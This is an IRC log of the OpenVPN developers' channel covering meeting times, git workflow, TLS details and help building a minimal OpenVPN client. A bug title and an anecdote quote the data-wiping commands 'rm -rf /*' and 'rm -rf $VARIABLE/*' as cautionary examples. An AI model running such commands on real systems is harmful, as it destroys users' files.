2.3.7, interactive service, AEAD? 14:11 <@syzzer> sounds good 14:12 <@syzzer> where for 2.3.7, I'd like to discuss TLS version negotiation, unless someone ACKs that before the meeting, ofc. 14:12 <@cron2_> ack :) (on the topic) 14:15 <@dazo> mattock1: what about to publish an ical file which contains all our meetings ... which you can update whenever we agree on them ... then it'll appear at least in my calendars in time :) 14:16 <@mattock1> dazo: that might even be on Trac 14:16 <@mattock1> editable by anyone who needs to 14:17 <@dazo> I dunno ... but if you use a reasonable calendar program, it's possible to publish calendars to a webdav enabled server 14:17 <@mattock1> is the Jolla calendar reasonable? 14:17 <@mattock1> I don't typically use desktop calendars 14:17 <@dazo> I've not tried push much to caldav on jolla, but pull does indeed work quite well 14:17 <@dazo> (using that for some Fedora meetings) 14:18 <@dazo> I guess you've not used desktop calendars due to the lack of good mobile sync ;-) 14:18 <@mattock1> here are topics for next monday: https://community.openvpn.net/openvpn/wiki/Topics-2015-03-30 14:18 <@vpnHelper> Title: Topics-2015-03-30 – OpenVPN Community (at community.openvpn.net) 14:18 <@mattock1> mobile sync is a must, because the mobile is all I am guaranteed to have with me at all times 14:19 <@mattock1> I'll announce the meeting now to make it official 14:19 <@dazo> I'm using Thunderbird+Lightning on my computers and misc mobile/tablets ... all in sync, using either caldav or activesync (against my private Zimbra server) 14:20 <@mattock1> I hear Zimbra's sync is pretty good 14:21 <@dazo> I've tested both Network Edition and OSE+zextras mobile ... both works quite well with activesync 14:22 <@dazo> Network Edition (NE is tested against a site which have paid for the commercial version. The zextras mobile I've paid for myself for my home server, as that's far cheaper than NE 14:22 <@dazo> (OSE = Open Source Edition) 14:22 <@mattock1> does Zimbra still use the funky ZPL license? 14:23 <@dazo> nope, they've changed to GPL, iirc 14:23 <@dazo> The /only/ thing which keeps me from using Zimbra Webmail is the lack of proper displaying of mail threads which Thunderbird does wonderfully 14:23 <@dazo> (but when I don't have my laptop around, webmail is by more than good enough) 14:24 <@mattock1> I rarely use webmail, but I do agree it's good enough for most purposes 14:24 <@mattock1> it becomes problematic if you have tons of mailboxes to follow 14:24 <@mattock1> like ~5-10 14:25 <@mattock1> although Zimbra I believe supports external mailboxes 14:25 <@dazo> Zimbra webmail can be used as an IMAP client ... which actually aggregates all mail accounts and re-enables them via the Zimbra IMAP interface 14:25 <@mattock1> that is very useful indeed 14:25 <@dazo> (also POP3 is supported, but who cares about that these days?!) 14:25 <@mattock1> I actually have a topic for the meeting: nssm.exe integration 14:26 <@mattock1> yeah, exactly 14:26 <@mattock1> I used POP3 in 1995 or so 14:26 <@mattock1> maybe a bit later also 14:27 <@dazo> https://files.zimbra.com/website/docs/Zimbra-Open-Source-Edition-License.pdf 14:35 <@mattock1> nssm added to topic list 14:36 <@syzzer> have you tested it already/ 14:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 14:59 -!- dazo is now known as dazo_afk 18:50 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 19:06 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 264 seconds] 19:10 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 20:59 -!- tsing [~tsing@gintama.tsing.org] has joined #openvpn-devel --- Day changed Tue Mar 24 2015 01:51 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:51 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 02:35 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:35 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:10 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 03:55 -!- dazo_afk is now known as dazo 04:39 -!- mattock_afk is now known as mattock 04:40 -!- mattock is now known as mattock_afk 05:02 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 05:03 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 05:39 < lev__> https://bugzilla.redhat.com/show_bug.cgi?id=1202858 05:39 <@vpnHelper> Title: Bug 1202858 restarting squid results in deleting all files in hard-drive (rm -rf /*) (at bugzilla.redhat.com) 05:39 <@cron2_> yay 05:59 <@mattock1> lovely bugs these 05:59 <@cron2_> the amazing thing is that a friend has managed to kill a whole (huge!) ftp site, back in the day, with "rm -rf $VARIABLE/*" - and "$VARIABLE" was empty... 06:00 <@cron2_> that was 15 years ago, first thing to die was telnetd/rlogind/shell, so all he could do was "watch on an NFS mounted directory as the files disappeared" 06:04 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:04 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 06:09 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 06:19 <@dazo> lev__: luckily that's a great example that QA works ... as RHEL 6.7 isn't released yet ;-) It was one of our own QE folks who caught it during the internal test plans 06:33 <@dazo> [OT] This site is great to test out regexp ... http://regexr.com/ 06:33 <@vpnHelper> Title: RegExr: Learn, Build, & Test RegEx (at regexr.com) 09:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:29 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:31 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:31 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 10:03 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 10:20 < n13l> dazo: hi, here ? i workin on that EKM demo (plugin) and I can see sample/sample-plugin and src/plugins in source tree. what's better place ?:) 11:15 <@dazo> n13l: use a subdir the sample/sample-plugin ... src/plugin is used for production plug-ins, which can be expected to be installed on a system and provide commonly needed functionality 11:15 <@dazo> subdir *in* 11:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 15:44 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 16:48 -!- Netsplit *.net <-> *.split quits: EvilJStoker 16:49 -!- Netsplit over, joins: EvilJStoker 16:50 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Max SendQ exceeded] 16:50 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 17:14 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 17:53 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 17:55 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 20:33 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 256 seconds] 22:54 -!- dazo is now known as dazo_afk --- Day changed Wed Mar 25 2015 01:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:03 <@mattock1> could someone verify that IPv6 access to community.openvpn.net is working as expected? 03:04 <@mattock1> I'm making some security group changes so in theory things could break 03:23 <@cron2_> right now it works (at least ping and http connect) 06:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 07:19 -!- dazo_afk is now known as dazo 07:26 -!- mattock_afk is now known as mattock 07:27 -!- mattock is now known as mattock_afk 07:31 -!- mattock_afk is now known as mattock 09:08 -!- txdv [~unreal@78-56-71-41.static.zebra.lt] has quit [Ping timeout: 265 seconds] 09:10 -!- mattock is now known as mattock_afk 09:47 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:51 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:55 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 10:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 10:50 -!- mattock_afk is now known as mattock 12:11 <@dazo> syzzer: seen this one? https://plus.google.com/+ArjanvandeVen/posts/VAK1SRHjTZm 14:29 -!- mattock is now known as mattock_afk 15:01 -!- dazo is now known as dazo_afk 16:06 <@syzzer> no, I hadn't, but it seems like this guy is pretty clueless on what he really is doing... 16:07 <@syzzer> dazo_afk: tls 1.0 and 1.1 use a PRF that mixes MD5+SHA1, nothing wrong with that, but you do need MD5... 16:07 <@syzzer> same goes for DES, if you want to do 3DES (which is not the best choice, but used _a lot_), you can't disable DES... 17:49 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 17:49 -!- mode/#openvpn-devel [+o pekster] by ChanServ 18:27 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Quit: Reconnecting] 18:27 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 18:27 -!- mode/#openvpn-devel [+o pekster] by ChanServ 19:01 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 19:40 -!- tsing [~tsing@gintama.tsing.org] has quit [Remote host closed the connection] 20:56 <@vpnHelper> RSS Update - gitrepo: Remove count_netmask_bits(), convert users to use netmask_to_netbits2() <https://github.com/OpenVPN/openvpn/commit/ec2fbf374f018366c18644d271cd4d793d04244b> || Fix incorrect use of get_ipv6_addr() for iroute options. <https://github.com/OpenVPN/openvpn/commit/e8562d5531277ee4dd7c517ef68e87af077ac948> || Change float log message to include common name, if available. <https://github.com/OpenVPN/openvpn/commit/bac --- Day changed Thu Mar 26 2015 01:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:26 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 03:31 -!- dazo_afk is now known as dazo 06:30 -!- Netsplit *.net <-> *.split quits: lev__, +krzee, n13l, @d12fk, @pekster, luckman212, +roentgen, esde, @cron2_, EvilJStoker, (+16 more, use /NETSPLIT to show all of them) 06:34 -!- Netsplit over, joins: @andj, @pekster, EvilJStoker, n13l, floppym, esde, reators, +krzee, @syzzer, +roentgen (+15 more) 07:50 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 07:53 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 07:53 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 08:27 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:27 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:15 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 11:15 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:15 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:37 < n13l> dazo: hi, how can i call external script for tls-final ? because i can see tls-verify directive next to up & down etc (EKM is passed to tls-final only) 14:08 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 14:56 -!- bootsWitDaFur [~Adium@cpe-68-173-46-105.nyc.res.rr.com] has joined #openvpn-devel 14:56 -!- bootsWitDaFur [~Adium@cpe-68-173-46-105.nyc.res.rr.com] has left #openvpn-devel [] 16:18 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 16:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 16:58 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 17:06 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 17:08 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 17:15 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 17:16 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 17:16 <@dazo> n13l: TLS_FINAL is only exposed via plug-ins ... so a plug-in needs to do that for you 20:56 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 21:22 <@vpnHelper> RSS Update - gitrepo: Remove count_netmask_bits(), convert users to use netmask_to_netbits2() <https://github.com/OpenVPN/openvpn/commit/ec2fbf374f018366c18644d271cd4d793d04244b> || Fix incorrect use of get_ipv6_addr() for iroute options. <https://github.com/OpenVPN/openvpn/commit/e8562d5531277ee4dd7c517ef68e87af077ac948> || Change float log message to include common name, if available. <https://github.com/OpenVPN/openvpn/commit/bac 21:35 -!- dazo is now known as dazo_afk 22:03 -!- bootsWitDaFur [~Adium@cpe-68-173-46-105.nyc.res.rr.com] has joined #openvpn-devel 22:03 -!- bootsWitDaFur [~Adium@cpe-68-173-46-105.nyc.res.rr.com] has left #openvpn-devel [] 23:59 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel --- Day changed Fri Mar 27 2015 01:09 -!- mattock_afk is now known as mattock 01:13 -!- mattock is now known as mattock_afk 03:55 -!- mattock_afk is now known as mattock 04:11 -!- dazo_afk is now known as dazo 04:11 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds] 04:39 < n13l> dazo: ooki dooki. thank you :) 04:53 -!- mattock is now known as mattock_afk 06:39 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:39 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:54 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:04 <@cron2_> wtf... 08:04 * cron2_ just discovered sendmmsg() and recvmmsg() 08:23 <@plaisthos> that is an linux'ism right? 09:15 <@cron2_> it was mentioned in linux context, so I assume so. But it sounds useful :-) 09:16 <@cron2_> "send and receive multiple messages in one go" 09:38 <@syzzer> yes, those are awesome! and iirc, implemented on (some) other platforms too 09:41 <@syzzer> hmm, 'other flatforms' seems to be just netbsd 10:21 <@plaisthos> :) 10:21 <@plaisthos> the linux under the bsd ... wait that was freebsd 10:41 <@dazo> cron2_: recvmmsg() arrived in kernel-2.6.33 and sendmmsg() in kernel-3.0, iirc ... and yes, both are Linux specific 10:43 <@dazo> (I didn't know netbsd had it though, my Linux assumptions are based on Linux man-pages ... and I read a lot about them when doing QA on them in RH kernel-rt releases) 12:56 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 14:11 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer] 14:17 <@pekster> sendmsg() / recvmsg() are POSIX, at least as of the 2013 base specifications 14:17 <@pekster> (and yes, FreeBSD has both) 14:19 <@pekster> On mmsg.. 14:19 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 14:19 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 14:22 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Quit: AF_INET -> AF_INET6] 14:23 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 14:23 -!- mode/#openvpn-devel [+o pekster] by ChanServ 15:57 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 17:00 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 17:29 <@cron2_> pekster: mmsg :) - and freebsd doesn't 17:30 <@pekster> Yea 20:03 -!- dazo is now known as dazo_afk --- Day changed Sat Mar 28 2015 15:40 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds] 16:30 -!- Netsplit *.net <-> *.split quits: n13l, luckman212 16:35 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Sun Mar 29 2015 06:48 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 246 seconds] 06:52 * cron2_ applauds mattock :) 07:09 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 08:15 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 08:15 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 19:19 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 19:19 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 19:56 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 22:36 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] --- Day changed Mon Mar 30 2015 01:52 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 01:52 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 02:04 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 02:46 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:46 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:10 <@mattock> remember the meeting today 03:10 <@mattock> there are a few new topics: https://community.openvpn.net/openvpn/wiki/Topics-2015-03-30 03:10 <@vpnHelper> Title: Topics-2015-03-30 – OpenVPN Community (at community.openvpn.net) 03:37 -!- dazo_afk is now known as dazo 03:57 <@cron2_> remember, remember, the first of september... 04:04 <@mattock> remember, remember, 30th March at 19:00 UTC... :P 04:04 <@mattock> dazo: any comments on the makefile issue with the MacOS X keychain patch? 04:04 <@mattock> cron2 cried out for Git wizards I believe 04:19 <@cron2_> mattock: yeah, that is what needs an answer, how to handle the .gitignore patch 04:19 * cron2_ is not sure whether that one is good or not 04:19 <@cron2_> mattock: I think it's 18:00 UTC now, no? DE changed timezone yesterday 04:19 <@mattock> um 04:19 <@mattock> no clue 04:19 <@cron2_> what time is it in your timezone now? 04:19 <@cron2_> 11:19 here 04:20 <@mattock> 12:19 04:20 <@cron2_> but 19:00 UTC would be 22:00 for you, then, no? (21:00 for me) 04:20 <@mattock> uh, so late 04:21 <@mattock> let's see what the meeting announcement says... 04:21 <@mattock> 20:00 CET (19:00 UTC) 04:21 <@mattock> which is contradictory is it? 04:22 <@mattock> yeah, two hours difference 04:23 <@mattock> 9:23 UTC, 11:23 CET, 12:23 EET 04:23 <@mattock> I vote we keep the 20:00 CET 04:23 <@mattock> and send a notification to the list that unlike previously claimed, the meeting is at 18:00 UTC (which is 20:00 CET) 04:27 * dazo looks up 04:34 <@dazo> mattock: cron2_: Removing Makefile from .gitignore is a no-go. But I believe Arne is right on the ML, adding the Makefile explicit will make git track it anyhow 04:35 <@mattock> why is there even a need to remove Makefile from .gitignore? 04:35 <@dazo> I dunno 04:58 <@cron2_> mattock: CET is actually non-contradictory, because we're in CEDT or CEST or whatever it's called now 04:58 <@cron2_> dazo: the reason is that this particular Makefile is not generated, but static for MacOS keychain daemon 04:58 <@cron2_> mattock: 20:00 local time = CEDT is good for me :) -> 18:00 UTC 04:59 <@mattock> cron2_: ok, I'll mention the update UTC time on the ml 04:59 <@dazo> cron2_: I understood that, but that's still no reason why not to do 'git add Makefile' ... I believe git should track it regardless of .gitignore when git add is used explicitly 05:00 <@dazo> removing Makefile from .gitignore isn't the solution 05:02 <@dazo> (depending on git version, you might need to use -f when doing git add) 05:10 <@cron2_> dazo: thanks for explaining, I'll see what git will make me do when merging this :) (besides that I think it is ready for merging, need to re-read the thread and whether anything is missing) 05:12 <@dazo> cron2_: the quickest solution in this case, is to just rip out those .gitignore lines from the patch before using 'git ack-am' 05:13 <@dazo> for larger patches, you can do tricks with 'git reset --soft' ... undo some of the patch changes ('git diff $file | git apply -R') and do 'git commit' again ... that should retain the commit message 05:13 <@dazo> oh, I forgot a 'git add' before the commit 05:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:59 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:38 -!- tsing [~tsing@gintama.tsing.org] has joined #openvpn-devel 06:39 -!- tsing [~tsing@gintama.tsing.org] has quit [Client Quit] 07:09 <@cron2_> dazo: that's what I inteded to do, just cut out the gitignore chunk 09:30 <@mattock> dazo: did you know that the systemd project decided to fork the Linux kernel and integrate it with systemd? http://distrowatch.com/weekly.php?issue=20150330#community 09:30 <@vpnHelper> Title: DistroWatch.com: Put the fun back into computing. Use Linux, BSD. (at distrowatch.com) 09:37 <@mattock> the new system will be called GNU/systemd instead of GNU/Linux 09:56 <@cron2_> mattock: isn't it two days early for this? 10:17 <@dazo> heh 10:20 <@dazo> mattock: I think cron2_ is right "According to Ivan Gotyaovich, one of the developers working on systemd," ... I have ~7000 mails from the systemd mailing list, and he is not mentioned once in any mails .... and then there is this one: https://news.ycombinator.com/item?id=9288419 10:20 <@vpnHelper> Title: Just a quick note about that name "Ivan Gotyaovich": Got ya! -ovitch. It sounds... | Hacker News (at news.ycombinator.com) 10:32 <@mattock> yeah, it's definitely a premature April's fool 10:32 <@mattock> knowing systemd that is not obvious, though :D 10:39 -!- Sullitaz [~chatzilla@66.192.2.109.rev.sfr.net] has joined #openvpn-devel 10:39 < Sullitaz> Hi guys 10:40 < Sullitaz> I just have a small question to you guys for building a minimalist openvpn client 10:42 < Sullitaz> I removed a lot of options, but I got an error in init.c 10:43 < Sullitaz> could you give the best way to build the client part only? 10:43 <@dazo> !crystal 10:44 <@dazo> vpnHelper> "crystal" is (#1) Our crystal ball is out of service. Try explaining your !goal, a description of your problem, and relevant !configs and !logs. See also: !welcome. or (#2) unless reiffert is here, his crystal ball is functional again 10:44 <@dazo> well, actually ... without seeing your errors, it's impossible to know what to do 10:44 < Sullitaz> init.c: In function ‘do_init_crypto_tls’: 10:44 < Sullitaz> init.c:2209:19: error: ‘const struct options’ has no member named ‘pull’ 10:44 < Sullitaz> else if (options->pull) /* pull clients send some details */ 10:45 < Sullitaz> I can give you the configure options if you want to 10:46 < Sullitaz> the main idea is to build a minimalist openvpn client 10:46 <@dazo> Sullitaz: right ... I see that both P2MP must be defined for the pull member in the options struct to be be available 10:46 < Sullitaz> so I tried to remove some options, but it seems there is a mismatch maybe with some options 10:47 <@dazo> s/ both // 10:47 -!- mighq [~mighq@2001:67c:284:32:bb7d:1dcc:b95f:497e] has joined #openvpn-devel 10:47 <@dazo> #if defined(ENABLE_CLIENT_SERVER) && defined(ENABLE_CRYPTO) && defined(HAVE_GETTIMEOFDAY_NANOSECONDS) 10:47 <@dazo> #define P2MP 1 10:48 < Sullitaz> you right, I noticed that 10:48 < Sullitaz> here are my optoins 10:48 < Sullitaz> ./configure --disable-lzo --disable-lzo-stub --disable-x509-alt-username --disable-multi --disable-server --disable-plugins --disable-management --disable-pkcs11 --disable-socks --disable-http-proxy --disable-fragment --disable-multihome --disable-port-share --disable-small --disable-password-save --disable-iproute2 --disable-def-auth --disable-pf --disable-strict --disable-pedantic... 10:48 < Sullitaz> ...--disable-strict-options --disable-selinux --disable-systemd 10:48 -!- mighq [~mighq@2001:67c:284:32:bb7d:1dcc:b95f:497e] has left #openvpn-devel [] 10:49 <@dazo> Sullitaz: Can you pastebin your config.h 10:49 <@dazo> ? 10:49 < Sullitaz> yes sure 10:50 <@dazo> I believe --disable-multi is your problem, though 10:50 <@dazo> configure.ac:test "${enable_multi}" = "yes" && AC_DEFINE([ENABLE_CLIENT_SERVER], [1], [Enable client/server capability]) 10:51 < Sullitaz> do you have my pastebin? 10:51 <@dazo> nope 10:51 <@cron2_> mattock: are we building on buildbots with --disable-multi? "Maybe we should"... 10:52 < Sullitaz> in public pastes 10:52 <@dazo> URL? 10:52 -!- mighq [~mighq@2001:67c:284:32:bb7d:1dcc:b95f:497e] has joined #openvpn-devel 10:52 < Sullitaz> http://pastebin.com/daPszVdL 10:52 <@mattock> cron2_: not afaik 10:52 <@mattock> maybe we should yes 10:52 <@cron2_> yes... it's one of that obscure option that we tend to break... 10:53 <@dazo> Sullitaz: /* #undef ENABLE_CLIENT_SERVER */ ... so it is most likely due to --disable-multi 10:54 < Sullitaz> I was thinking that by using --disable-multi and --disable-server, I will build the client only part 10:54 < Sullitaz> ok dazo, so what do you suggest? 10:54 <@dazo> then you build the P2P mode only ... --disable-server builds P2MP client only 10:54 < mighq> hi, is there some reason why the TUN_MTU_MIN option (src/openvpn/mtu.h:#define TUN_MTU_MIN 100) is set to such a low value? it is causing connections setup delays. thanks. 10:55 < Sullitaz> I would like to build the subnet mode and the client only part 10:55 <@dazo> Sullitaz: then do a build where you do not add --disable-multi, and you'll get what you want 10:56 < Sullitaz> that's it? 10:56 < Sullitaz> great, super thanks 10:57 < Sullitaz> dazo, do you have any recommendation in order to build a minimalist openvpn client? 11:01 -!- m0hm0h [m0hm0h@kapsi.fi] has joined #openvpn-devel 11:08 <@dazo> Sullitaz: ehm ... nope, you've probably done the best you can ... however, --enable-small is a good idea (removes a lot of debug, error messages and --help screen) ... --disable-{strict,pedantic} is not needed at all, disabled by default and with pedantic, it won't really work - it's a compile test only, iirc 11:08 <@plaisthos> maybe we should remove ENABLE_MULTI :) 11:09 <@plaisthos> --disable-server should work 11:09 <@plaisthos> OpenVPN is built with that option 11:09 <@plaisthos> OpenVPN for Android 11:09 <@dazo> Sullitaz: --disable-lzo-stub may cause issues with servers requires clients using compression .... the 'stub' is just to provide enough code to tell the server "I don't want to use compression at all" 11:10 <@dazo> plaisthos: I think that makes sense ... I mean, who needs to build P2P mode only? 11:10 < Sullitaz> yes, I just built with disable-server and without --disable-multi and it works 11:10 <@plaisthos> dazo: P2P mode is basically client mode too 11:11 <@dazo> plaisthos: but it won't do any of the TLS/--client stuff 11:11 <@dazo> only static keys 11:11 <@plaisthos> isn't that yet another option that syzzer removed? 11:11 <@dazo> (unless my memory fails me) 11:11 <@plaisthos> enable_tls? 11:11 <@dazo> uhm ... I wonder if he removed crypto, not tls 11:12 <@dazo> removed possibility to disable crypto, I mean 11:12 <@plaisthos> iirc he removed teh ability to disable tls indenpendent of crypto 11:12 <@dazo> ahh, the other way around 11:13 <@dazo> commit ec828db63f12eeb17f0f8c4de57f766e70161a13 .... Remove ENABLE_SSL define (and --disable-ssl configure option) 11:14 < Sullitaz> basically I would like to use a minimalist client with cyassl 11:15 <@dazo> Sullitaz: we have polarssl as the alternative ... however, it should be modular enough to be fairly easy to implement another SSL library too ... if you want to 11:15 <@plaisthos> enable-multi seems to be related to all the pull/push/occ stuff 11:15 <@dazo> yeah 11:15 <@plaisthos> maybe you can build a wacky tls configuration without pull/push 11:15 * plaisthos is unsure about that 11:15 <@dazo> and iirc, --pull/--push requires TLS as it can't be used in P2P 11:16 <@plaisthos> yes 11:16 <@plaisthos> that too 11:16 <@plaisthos> but tls-server/tls-client should be usuable without pull/push 11:17 <@dazo> building without push/pull ... then you're really building openvpn for special purpose environments 11:17 < Sullitaz> to speak frankly, I would like to build a openvpn client over cyassl for a light embedded system 11:18 <@plaisthos> Sullitaz: unless you or someone else implements that, that isn't going to happen 11:18 < Sullitaz> so I am trying to remove a lot of options that are not really necessary 11:18 <@dazo> Sullitaz: you have other packages using cyassl? 11:18 < Sullitaz> what do you mean? 11:19 <@dazo> Sullitaz: polarssl is a fairly small ssl lib 11:19 < Sullitaz> I am trying to embed cyassl and then use a very light openvpn client 11:20 < Sullitaz> OK dazo, I need to have a look on this one 11:20 < Sullitaz> I did not find any light openvpn client 11:20 <@dazo> so unless you have other packages on your light embedded system which uses cyassl, you can really use polarssl instead ... openvpn does not support cyassl, at least until someone provides patches for it and goes through our review process 11:21 < Sullitaz> that's why I trying to rebuild the client part only and check what I need to use 11:21 < Sullitaz> OK dazo, good point: 11:21 < Sullitaz> ! 11:21 < Sullitaz> and you are currently supporting polarssl with no pain? 11:22 <@dazo> andj and syzzer who are in this channel are those maintaining the polarssl code in openvpn 11:23 <@dazo> and it is used in OpenVPN-NL 11:23 <@dazo> https://openvpn.fox-it.com/ 11:23 <@vpnHelper> Title: OpenVPN-NL (at openvpn.fox-it.com) 11:24 < Sullitaz> edcoin33great! 11:24 < Sullitaz> great! 11:25 < Sullitaz> so, I really need to have a look to polarssl 11:25 <@dazo> oh, I forgot ... polarssl is renamed to mbed TLS ... but otherwise, it's the same 11:25 <@dazo> https://tls.mbed.org/ 11:25 <@vpnHelper> Title: SSL Library mbed TLS / PolarSSL: Download for free or buy a commercial license (at tls.mbed.org) 11:26 < Sullitaz> and what is the best way to build a light openvpn client? 11:29 < mighq> I was unable to find details about the TUN_MTU_MIN in git repository, it was done even before migration to git 11:31 <@dazo> mighq: that parameter only defines the smallest allowed MTU ... it does not set the MTU to 100 11:32 < mighq> I have problem, because it looks like it is honored, and the initial negotiation is using this MTU (v2.2.2) 11:32 < mighq> any idea, why it is not increased to more "standard" range? 11:33 <@dazo> mighq: then you have some configs using --tun-mtu or --link-mtu ... need to see a logfile with --verb 4 from openvpn starts and until the issue appears to be more certain 11:33 <@dazo> it is 